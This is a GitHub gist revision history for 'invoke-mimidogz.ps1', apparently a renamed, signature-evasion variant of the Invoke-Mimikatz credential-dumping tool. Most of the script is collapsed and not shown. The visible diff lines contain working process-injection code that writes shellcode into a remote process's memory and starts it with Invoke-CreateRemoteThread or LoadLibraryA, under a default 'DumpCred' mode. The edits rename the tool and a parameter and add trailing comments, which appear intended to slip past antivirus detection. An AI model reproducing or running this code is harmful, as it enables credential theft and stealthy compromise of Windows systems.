Skip to content

Instantly share code, notes, and snippets.

@xsuperbug

xsuperbug/invoke-mimidogz.ps1

Last active June 6, 2018 15:06
Show Gist options
  • Save xsuperbug/ac952e7b84c9ccdb1f183b3480245e4e to your computer and use it in GitHub Desktop.
Save xsuperbug/ac952e7b84c9ccdb1f183b3480245e4e to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. xsuperbug revised this gist Jun 6, 2018. 1 changed file with 6 additions and 7 deletions.
    13 changes: 6 additions & 7 deletions invoke-mimidogz.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -2,7 +2,6 @@ function Invoke-Mimidogz
    {



    [CmdletBinding(DefaultParameterSetName="DumpCred")]
    Param(
    [Parameter(Position = 0)]
    @@ -1189,7 +1188,7 @@ $RemoteScriptBlock = {
    Throw "Unable to write shellcode to remote process memory."
    }

    $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
    $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions #-
    $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
    if ($Result -ne 0)
    {
    @@ -1210,7 +1209,7 @@ $RemoteScriptBlock = {
    }
    else
    {
    [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -NotTodayPal $RImportDllPathPtr -Win32Functions $Win32Functions
    [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -NotTodayPal $RImportDllPathPtr -Win32Functions $Win32Functions #-
    $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
    if ($Result -ne 0)
    {
    @@ -1340,7 +1339,7 @@ $RemoteScriptBlock = {
    Throw "Unable to write shellcode to remote process memory."
    }

    $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
    $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions #-
    $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
    if ($Result -ne 0)
    {
    @@ -2345,7 +2344,7 @@ $RemoteScriptBlock = {
    Throw "Unable to write shellcode to remote process memory."
    }

    $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
    $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions #-
    $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
    if ($Result -ne 0)
    {
    @@ -2610,7 +2609,7 @@ $RemoteScriptBlock = {
    $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle


    $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
    $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions #-
    }


    @@ -2681,4 +2680,4 @@ Function Main
    }

    Main
    }
    }
  2. xsuperbug revised this gist Jun 6, 2018. 1 changed file with 25 additions and 6 deletions.
    31 changes: 25 additions & 6 deletions invoke-mimidogz.ps1
    View file
    25 additions, 6 deletions not shown because the diff is too large. Please use a local Git client to view these changes.
  3. xsuperbug revised this gist Jun 6, 2018. 2 changed files with 2665 additions and 2683 deletions.
    2,665 changes: 2,665 additions & 0 deletions invoke-mimidogz.ps1
    View file
    2,665 additions, 0 deletions not shown because the diff is too large. Please use a local Git client to view these changes.
    2,683 changes: 0 additions & 2,683 deletions invoke-mimidoz.ps1
    View file
    0 additions, 2,683 deletions not shown because the diff is too large. Please use a local Git client to view these changes.
  4. xsuperbug created this gist Jun 6, 2018.
    2,683 changes: 2,683 additions & 0 deletions invoke-mimidoz.ps1
    View file
    2,683 additions, 0 deletions not shown because the diff is too large. Please use a local Git client to view these changes.